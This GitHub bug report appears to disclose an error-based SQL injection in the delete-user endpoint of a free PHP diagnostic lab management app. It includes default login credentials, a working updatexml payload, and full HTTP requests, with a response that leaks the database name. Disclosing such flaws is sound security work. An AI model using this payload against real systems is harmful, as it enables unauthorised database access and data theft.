

🔑 main ▾

...

bug_report / vendors / oretnom23 / online-diagnostic-lab-management-system / SQLi-2.md



1909900436 Create SQLi-2.md

🕒 History

👤 1 contributor

39 lines (27 sloc) | 1.33 KB

...

Online Diagnostic Lab Management System v1.0 by oretnom23 has SQL injection

BUG_Author: Dig-Bick

Login account: admin/admin123 (Super Admin account)

Login account: cblake@sample.com/cblake123 (General account)

vendors: <https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /odlms/classes/Users.php?f=delete

Vulnerability location: /odlms/classes/Users.php?f=delete,id

dbname=odlms_db,length=8

[+] Payload: id=6' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /odlms/classes/Users.php?f=delete HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.88/odlms/admin/?page=appointments
Content-Length: 66
Cookie: PHPSESSID=5g4g4dffu1bkr9jm7nr42ori2
Connection: close

id=6' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

The screenshot displays a web browser window with a grey navigation bar at the top. Below the bar, the browser's developer tools are open, showing the 'Network' tab. The selected request is a POST to /odlms/classes/Users.php?f=delete. The request headers and body are visible on the left, and the response headers and status are on the right. The response status is 200 OK. Below the response headers, a red error message is displayed, indicating a fatal error in the PHP script. The error message is: 'Uncaught mysqli_sql_exception: XPATH syntax error: '~odlms_db~' in C:\xampp\htdocs\odlms\classes\Users.php:113'. The stack trace shows the error occurred in the file Users.php at line 113, in the function delete_users().

```
POST /odlms/classes/Users.php?f=delete HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.88/odlms/admin/?page=user/list
Content-Length: 66
Cookie: PHPSESSID=5g4g4dffu1bkr9jm7nr42ori2
Connection: close

id=6' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

HTTP/1.1 200 OK
Date: Tue, 20 Sep 2022 09:38:35 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1f PHP/8.1.0
X-Powered-By: PHP/8.1.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 408
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Fatal error</b>: Uncaught mysqli_sql_exception: XPATH syntax error: '~odlms_db~' in C:\xampp\htdocs\odlms\classes\Users.php:113
Stack trace:
#0 C:\xampp\htdocs\odlms\classes\Users.php(113): mysqli->query('SELECT avatar F...')
#1 C:\xampp\htdocs\odlms\classes\Users.php(243): Users->delete_users()
#2 {main}
thrown in <b>C:\xampp\htdocs\odlms\classes\Users.php</b> on line <b>113</b><br />
```